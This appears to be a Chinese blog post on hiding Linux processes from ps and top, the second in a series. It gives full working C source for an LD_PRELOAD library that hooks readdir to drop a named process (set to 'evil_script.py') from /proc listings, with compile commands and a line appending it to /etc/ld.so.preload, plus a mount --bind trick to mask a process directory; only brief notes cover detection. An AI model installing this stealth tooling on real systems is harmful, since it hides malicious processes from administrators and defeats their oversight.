Linux进程隐藏:中级隐藏篇

前言

上篇介绍了如何在有源码的情况下,通过argv[]prctl对进程名及参数进行修改,整篇围绕/proc/pid/目录和ps、top命令进行分析,做到了初步隐藏,即修改了 /proc/pid/stat /proc/pid/status /proc/pid/cmdline 这些文件的信息,使得ps、top命令显示了虚假的进程信息;但是还存在一些缺点

1.ps、top命令还是显示了真实的pid

2./proc/pid 目录依然存在,/proc/pid/exe及/proc/pid/cwd文件依然暴露了可执行文件的真实路径及名称

所以,为了解决以上缺陷,本篇将介绍以下几种方式对进程进行隐藏

1.应用层下hook函数调用
2.挂载覆盖/proc/pid目录

PS/TOP命令工作原理

我们可以使用strace命令来了解PS/TOP命令的工作原理,strace命令是一个常用的代码调试工具,它可以跟踪到一个进程产生的系统调用,包括参数,返回值,执行消耗的时间。

实验系统版本为ubuntu18 内核版本Linux ubuntu 5.3.0-28-generic

命令strace ps 部分显示结果

stat("/proc/1", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
openat(AT_FDCWD, "/proc/1/stat", O_RDONLY) = 6
read(6, "1 (systemd) S 0 1 1 0 -1 4194560"..., 1024) = 328
close(6)                                = 0
openat(AT_FDCWD, "/proc/1/status", O_RDONLY) = 6
read(6, "Name:\tsystemd\nUmask:\t0000\nState:"..., 1024) = 1024
read(6, "00000000,00000000,00000000,00000"..., 1024) = 311
close(6)                                = 0
stat("/proc/2", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
openat(AT_FDCWD, "/proc/2/stat", O_RDONLY) = 6
read(6, "2 (kthreadd) S 0 0 0 0 -1 212998"..., 2048) = 150
close(6)                                = 0
openat(AT_FDCWD, "/proc/2/status", O_RDONLY) = 6
read(6, "Name:\tkthreadd\nUmask:\t0000\nState"..., 2048) = 978
close(6)                                = 0
stat("/proc/3", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
openat(AT_FDCWD, "/proc/3/stat", O_RDONLY) = 6
read(6, "3 (rcu_gp) I 2 0 0 0 -1 69238880"..., 2048) = 151
close(6)                                = 0
openat(AT_FDCWD, "/proc/3/status", O_RDONLY) = 6
read(6, "Name:\trcu_gp\nUmask:\t0000\nState:\t"..., 2048) = 969
close(6)                                = 0

命令strace top部分显示结果

openat(AT_FDCWD, "/proc/11433/statm", O_RDONLY) = 9
read(9, "4679 473 371 263 0 127 0\n", 2048) = 25
close(9)                                = 0
openat(AT_FDCWD, "/proc/11433/status", O_RDONLY) = 9
read(9, "Name:\tstrace\nUmask:\t0022\nState:\t"..., 2048) = 1362
close(9)                                = 0
stat("/proc/11435", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
openat(AT_FDCWD, "/proc/11435/stat", O_RDONLY) = 9
read(9, "11435 (top) R 11433 11433 3407 3"..., 2048) = 322
close(9)                                = 0
openat(AT_FDCWD, "/proc/11435/statm", O_RDONLY) = 9
read(9, "12866 1077 851 25 0 378 0\n", 2048) = 26
close(9)       

从上面的结果我们可以看出,ps/top命令就是在不断的读取/proc/pid下的文件信息,再显示出来给我看;

一般先调用stat()确认文件状态,再调用openat()打开文件句柄,然后read()读取内容,最后close()关闭;不断重复这一系列动作从而获取进程信息;

当然这些都是系统调用,并不是ps源码中直接调用的,ps源码直接调用的函数其实是opendir以及readdir,readdir内部再进行以上这些系统调用。

top命令的原理与ps类似,这里不多介绍,下面进入正题

一、应用层下hook函数调用实现隐藏

我们这里所要hook的对象当然就是readdir函数了

这里有两个问题:

1.readdir函数在哪?

2.如何hook?

[readdir][https://pubs.opengroup.org/onlinepubs/9699919799/functions/readdir.html]在头文件dirent.h中声明

头文件:#include <sys/types.h>   

    #include <dirent.h>

定义:struct dirent * readdir(DIR * dir);

函数说明:readdir()返回参数dir 目录流的下个目录进入点。结构dirent 定义如下:
struct dirent
{
    ino_t d_ino; //d_ino 此目录进入点的inode
    ff_t d_off; //d_off 目录文件开头至此目录进入点的位移
    signed short int d_reclen; //d_reclen _name 的长度, 不包含NULL 字符
    unsigned char d_type; //d_type d_name 所指的文件类型 d_name 文件名
    har d_name[256];
};

返回值:成功则返回下个目录进入点. 有错误发生或读取到目录文件尾则返回NULL.

如何hook?

我们这里使用的是ld_preload技术,关于此技术可以看我另一篇[文章][https://www.freebuf.com/articles/system/247462.html],这里不多介绍

接下来我们正式编写hook函数,先以伪代码进行介绍

#define _GNU_SOURCE

#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>

/* 这里声明一个函数指针,用来存储readdir函数原始调用 */
static struct dirent* (*original_readdir)(DIR*) = NULL;

/* 这里是我们伪造的readdir函数,由于我们的so库最早被调用,所以ps程序调用readdir函数时也就调用了我们的同名函数*/
struct dirent* readdir(DIR *dirp)                                       
{   
    /* 使用dlsym函数获取readdir真正的入口 */
    if(original_readdir == NULL)                                  
        original_readdir = dlsym(RTLD_NEXT, readdir);                                                                                                                                                     
    
  	struct dirent* dir;                                                 
    
  	/* 这里循环调用原始readdir函数 */
    while(1)                                                            
    {                                                                   
        dir = original_readdir(dirp);
      	// 判断是否为特定的进程名
      	process_name = get_process_name(dir);
        if(process_name=="123456"){
          //是,则继续循环,这样就相当于跳过了特定的进程,不打印信息
          continue;
        }   
                                                                                                                             
        break;                                                          
    }                                                                   
    return dir;                                                         
}

整个流程非常简单,这里引用一段完整的代码:[github][https://github.com/gianlucaborello/libprocesshider]

修改process_to_filter变量为要隐藏的进程即可

#define _GNU_SOURCE

#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>

/*
 * Every process with this name will be excluded
 */
static const char* process_to_filter = "evil_script.py";

/*
 * Get a directory name given a DIR* handle
 */
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
    int fd = dirfd(dirp);
    if(fd == -1) {
        return 0;
    }

    char tmp[64];
    snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
    ssize_t ret = readlink(tmp, buf, size);
    if(ret == -1) {
        return 0;
    }

    buf[ret] = 0;
    return 1;
}

/*
 * Get a process name given its pid
 */
static int get_process_name(char* pid, char* buf)
{
    if(strspn(pid, "0123456789") != strlen(pid)) {
        return 0;
    }

    char tmp[256];
    snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
 
    FILE* f = fopen(tmp, "r");
    if(f == NULL) {
        return 0;
    }

    if(fgets(tmp, sizeof(tmp), f) == NULL) {
        fclose(f);
        return 0;
    }

    fclose(f);

    int unused;
    sscanf(tmp, "%d (%[^)]s", &unused, buf);
    return 1;
}

#define DECLARE_READDIR(dirent, readdir)                                \
static struct dirent* (*original_##readdir)(DIR*) = NULL;               \
                                                                        \
struct dirent* readdir(DIR *dirp)                                       \
{                                                                       \
    if(original_##readdir == NULL) {                                    \
        original_##readdir = dlsym(RTLD_NEXT, #readdir);               \
        if(original_##readdir == NULL)                                  \
        {                                                               \
            fprintf(stderr, "Error in dlsym: %s\n", dlerror());         \
        }                                                               \
    }                                                                   \
                                                                        \
    struct dirent* dir;                                                 \
                                                                        \
    while(1)                                                            \
    {                                                                   \
        dir = original_##readdir(dirp);                                 \
        if(dir) {                                                       \
            char dir_name[256];                                         \
            char process_name[256];                                     \
            if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&        \
                strcmp(dir_name, "/proc") == 0 &&                       \
                get_process_name(dir->d_name, process_name) &&          \
                strcmp(process_name, process_to_filter) == 0) {         \
                continue;                                               \
            }                                                           \
        }                                                               \
        break;                                                          \
    }                                                                   \
    return dir;                                                         \
}

DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);

以上代码非常巧妙的运用了宏定义函数以及#号的用法,使得少了很多代码量,同时定义了64位版本的readdir64以及readdir函数。

编译成动态链接库测试

$ gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
$ mv libprocesshider.so /usr/local/lib/
$ echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

这样一来,ps top命令就找不到进程的任何踪迹了!

优缺点

优点:相较于通过argv[]prctl对进程名及参数进行修改,这种方法彻底隐藏了ps、top中进程的信息,看不到pid

缺点:proc目录下还是会存在我们进程的pid目录

二、挂载覆盖/proc/pid目录

利用mount —bind 将另外一个目录挂载覆盖至/proc/目录下指定进程ID的目录,我们知道ps、top等工具会读取/proc目录下获取进程信息,如果将进程ID的目录信息覆盖,则原来的进程信息将从ps的输出结果中隐匿。

例如隐藏进程id为42的进程信息:

mount -o bind /empty/dir /proc/42

优缺点:

缺点比较明显

cat /proc/pid/mountinfo 或者cat /proc/mounts 即可知道是否有利用mount —bind 将其他目录或文件挂载至/proc下的进程目录

三、总结

hook readdir函数的方法的确可以完全隐藏掉ps/top下的进程信息,隐蔽性还是不够,如果结合argv[]prctl一起使用,也还有明显的缺点:

1、存在proc/pid目录,防御方利用别的方法遍历一下pid,与ps进行对比即可知道哪些是隐藏进程

2、/proc/pid/exe 以及 /proc/pid/cwd文件依然暴露了可执行文件的真实路径及名称

Linux进程隐藏-高级隐藏篇将会进一步介绍更加高级的进程隐藏技术------在内核中对进程进行彻底隐藏。

posted @ 2020-09-23 15:36  reuodut  阅读(2114)  评论(0编辑  收藏  举报